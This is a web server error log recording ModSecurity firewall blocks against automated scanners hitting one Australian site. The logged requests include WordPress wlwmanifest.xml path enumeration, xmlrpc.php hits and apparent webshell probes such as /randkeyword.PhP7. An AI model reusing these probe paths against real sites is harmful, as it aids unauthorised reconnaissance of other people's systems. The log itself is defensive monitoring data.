[Sun Mar 01 17:51:58.353545 2026] [:error] [pid 33822:tid 33827] [client 75.119.155.172:17436] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaQMPm6W3ygu1YVssuboOgAAAoM"]
[Sun Mar 01 18:36:15.101338 2026] [:error] [pid 40750:tid 40758] [client 40.80.89.74:8069] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaQWnwfBuk03yQKDyqt6OgAAAcU"]
[Sun Mar 01 18:36:15.660831 2026] [:error] [pid 7165:tid 7169] [client 40.80.89.74:7425] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaQWnxRjCrA8qWBjgG-5BgAAAkI"]
[Sun Mar 01 18:36:16.288519 2026] [:error] [pid 40750:tid 40763] [client 40.80.89.74:7474] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaQWoAfBuk03yQKDyqt6PAAAAco"]
[Sun Mar 01 18:36:16.836486 2026] [:error] [pid 40750:tid 40755] [client 40.80.89.74:7456] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaQWoAfBuk03yQKDyqt6PwAAAcI"]
[Sun Mar 01 19:55:22.353251 2026] [ssl:error] [pid 7165:tid 7175] [client 107.173.171.201:59844] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Sun Mar 01 20:42:11.531471 2026] [:error] [pid 38034:tid 38055] [client 125.75.66.97:41932] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaQ0IwxtfZjwlJok9K8PtwAAARE"]
[Sun Mar 01 20:53:16.325851 2026] [:error] [pid 40750:tid 40765] [client 162.201.42.43:58228] [client 162.201.42.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.201.42.43, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQ2vAfBuk03yQKDyqsfbQAAAcw"]
[Sun Mar 01 21:09:14.553181 2026] [:error] [pid 41780:tid 41804] [client 84.15.223.37:62012] [client 84.15.223.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.223.37, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaQ6esONkVoocLIqzy0rlwAAA9U"]
[Sun Mar 01 21:37:19.937358 2026] [:error] [pid 37032:tid 37044] [client 43.166.245.120:53056] [client 43.166.245.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaRBD-u0U4o7eSImsVSCbAAAAYo"]
[Sun Mar 01 21:58:15.240544 2026] [:error] [pid 7133:tid 7156] [client 40.85.219.62:15332] [client 40.85.219.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaRF9_Ctubh8pR64qB9TfAAAAFU"]
[Sun Mar 01 21:58:16.075464 2026] [:error] [pid 7133:tid 7142] [client 40.85.219.62:14618] [client 40.85.219.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaRF-PCtubh8pR64qB9ThAAAAEc"]
[Sun Mar 01 21:58:16.919462 2026] [:error] [pid 7165:tid 7169] [client 40.85.219.62:14600] [client 40.85.219.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaRF-BRjCrA8qWBjgG9gHQAAAkI"]
[Sun Mar 01 21:58:17.771290 2026] [:error] [pid 38034:tid 38043] [client 40.85.219.62:14609] [client 40.85.219.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaRF-QxtfZjwlJok9K8eNQAAAQU"]
[Sun Mar 01 22:34:43.271123 2026] [:error] [pid 38241:tid 38249] [client 43.166.244.192:32850] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaROg_KRPk6YnJBxw_w2swAAAMU"]
[Sun Mar 01 23:28:22.668635 2026] [:error] [pid 40750:tid 40763] [client 35.84.207.10:59625] [client 35.84.207.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.84.207.10, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRbFgfBuk03yQKDyqudbQAAAco"]
[Sun Mar 01 23:28:25.076609 2026] [:error] [pid 40750:tid 40771] [client 35.84.207.10:59625] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aaRbGQfBuk03yQKDyqudfAAAAdI"]
[Sun Mar 01 23:28:27.755748 2026] [:error] [pid 40750:tid 40757] [client 35.84.207.10:56469] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aaRbGwfBuk03yQKDyqudgAAAAcQ"]
[Sun Mar 01 23:28:28.475002 2026] [:error] [pid 38241:tid 38259] [client 35.84.207.10:50783] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aaRbHPKRPk6YnJBxw_xQyAAAAM8"]
[Sun Mar 01 23:28:29.198928 2026] [:error] [pid 44644:tid 44662] [client 35.84.207.10:57008] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaRbHZ3RJaXMcw3y9V_r9wAAAA8"]
[Sun Mar 01 23:28:29.921184 2026] [:error] [pid 7165:tid 7170] [client 35.84.207.10:49779] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaRbHRRjCrA8qWBjgG-6iAAAAkM"]
[Sun Mar 01 23:28:30.656289 2026] [:error] [pid 40750:tid 40760] [client 35.84.207.10:61550] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaRbHgfBuk03yQKDyqudhQAAAcc"]
[Sun Mar 01 23:28:31.384106 2026] [:error] [pid 40750:tid 40764] [client 35.84.207.10:49889] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaRbHwfBuk03yQKDyqudjQAAAcs"]
[Sun Mar 01 23:28:32.783595 2026] [:error] [pid 7165:tid 7177] [client 35.84.207.10:51491] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaRbIBRjCrA8qWBjgG-6jwAAAko"]
[Sun Mar 01 23:28:33.522547 2026] [:error] [pid 38241:tid 38264] [client 35.84.207.10:53810] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaRbIfKRPk6YnJBxw_xQzwAAANQ"]
[Sun Mar 01 23:28:34.747734 2026] [:error] [pid 37032:tid 37049] [client 35.84.207.10:64022] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaRbIuu0U4o7eSImsVSUMAAAAY8"]
[Mon Mar 02 00:46:48.018065 2026] [:error] [pid 53180:tid 53447] [client 35.84.207.10:62448] [client 35.84.207.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.84.207.10, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRteDPPJpDOBvYnaa1AKQAAAYM"]
[Mon Mar 02 00:46:50.595027 2026] [:error] [pid 53180:tid 53458] [client 35.84.207.10:62448] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaRtejPPJpDOBvYnaa1ANQAAAY4"]
[Mon Mar 02 00:46:51.337137 2026] [:error] [pid 53585:tid 53610] [client 35.84.207.10:49527] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaRte3bCvYsvu6kKhM1o1gAAABY"]
[Mon Mar 02 00:46:52.057602 2026] [:error] [pid 53181:tid 53531] [client 35.84.207.10:65030] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaRtfIr_0T1SazTrJOAeGwAAARA"]
[Mon Mar 02 00:46:52.789243 2026] [:error] [pid 53182:tid 53556] [client 35.84.207.10:61020] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaRtfPv073cA6eM1YCSn1wAAAMw"]
[Mon Mar 02 00:46:53.518560 2026] [:error] [pid 53180:tid 53468] [client 35.84.207.10:57428] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaRtfTPPJpDOBvYnaa1AQwAAAZg"]
[Mon Mar 02 00:46:54.249429 2026] [:error] [pid 53585:tid 53611] [client 35.84.207.10:59983] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaRtfnbCvYsvu6kKhM1o4QAAABc"]
[Mon Mar 02 00:46:55.025777 2026] [:error] [pid 53182:tid 53549] [client 35.84.207.10:64448] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaRtf_v073cA6eM1YCSn4AAAAMY"]
[Mon Mar 02 01:00:52.471012 2026] [:error] [pid 53182:tid 53564] [client 152.53.187.237:49394] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaRwxPv073cA6eM1YCS0zgAAANQ"]
[Mon Mar 02 01:01:00.197644 2026] [:error] [pid 53182:tid 53548] [client 152.53.187.237:49402] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaRwzPv073cA6eM1YCS06AAAAMU"]
[Mon Mar 02 01:01:02.995149 2026] [:error] [pid 53181:tid 53530] [client 152.53.187.237:61830] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaRwzor_0T1SazTrJOAmSgAAAQ8"]
[Mon Mar 02 01:01:06.055585 2026] [:error] [pid 53585:tid 53595] [client 152.53.187.237:61838] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaRw0nbCvYsvu6kKhM16EAAAAAc"]
[Mon Mar 02 01:01:09.378521 2026] [:error] [pid 53585:tid 53595] [client 152.53.187.237:61850] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaRw1XbCvYsvu6kKhM16JwAAAAc"]
[Mon Mar 02 02:46:37.986846 2026] [:error] [pid 53585:tid 53611] [client 119.28.140.106:34132] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaSJjXbCvYsvu6kKhM3fEAAAABc"]
[Mon Mar 02 03:11:51.348567 2026] [:error] [pid 26940:tid 26965] [client 106.227.49.113:34679] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaSPdxrUg-j5GLDtRFknCgAAAFU"]
[Mon Mar 02 03:36:54.567434 2026] [:error] [pid 53585:tid 53607] [client 51.77.216.124:50424] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaSVVnbCvYsvu6kKhM0EtQAAABM"]
[Mon Mar 02 03:36:57.895826 2026] [:error] [pid 53180:tid 53449] [client 51.77.216.124:42080] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaSVWTPPJpDOBvYnaa2DwQAAAYU"]
[Mon Mar 02 03:37:00.840585 2026] [:error] [pid 26940:tid 26951] [client 51.77.216.124:42088] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aaSVXBrUg-j5GLDtRFk9_gAAAEc"]
[Mon Mar 02 03:37:03.761898 2026] [:error] [pid 26940:tid 26959] [client 51.77.216.124:42098] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaSVXxrUg-j5GLDtRFk-BgAAAE8"]
[Mon Mar 02 03:37:06.503696 2026] [:error] [pid 26940:tid 26958] [client 51.77.216.124:42110] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaSVYhrUg-j5GLDtRFk-FAAAAE4"]
[Mon Mar 02 03:37:09.057705 2026] [:error] [pid 53585:tid 53607] [client 51.77.216.124:56944] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaSVZXbCvYsvu6kKhM0E8QAAABM"]
[Mon Mar 02 03:37:11.788601 2026] [:error] [pid 53181:tid 53537] [client 51.77.216.124:56954] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaSVZ4r_0T1SazTrJOB1UwAAARY"]
[Mon Mar 02 03:37:14.331322 2026] [:error] [pid 53181:tid 53527] [client 51.77.216.124:56956] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaSVaor_0T1SazTrJOB1WwAAAQw"]
[Mon Mar 02 03:37:16.793936 2026] [:error] [pid 53180:tid 53459] [client 51.77.216.124:38622] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaSVbDPPJpDOBvYnaa2D4AAAAY8"]
[Mon Mar 02 03:37:19.419589 2026] [:error] [pid 26940:tid 26968] [client 51.77.216.124:38636] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaSVbxrUg-j5GLDtRFk-TgAAAFg"]
[Mon Mar 02 03:37:21.870876 2026] [:error] [pid 53180:tid 53464] [client 51.77.216.124:38642] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaSVcTPPJpDOBvYnaa2D5QAAAZQ"]
[Mon Mar 02 03:37:24.350106 2026] [:error] [pid 26940:tid 26965] [client 51.77.216.124:38656] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaSVdBrUg-j5GLDtRFk-YQAAAFU"]
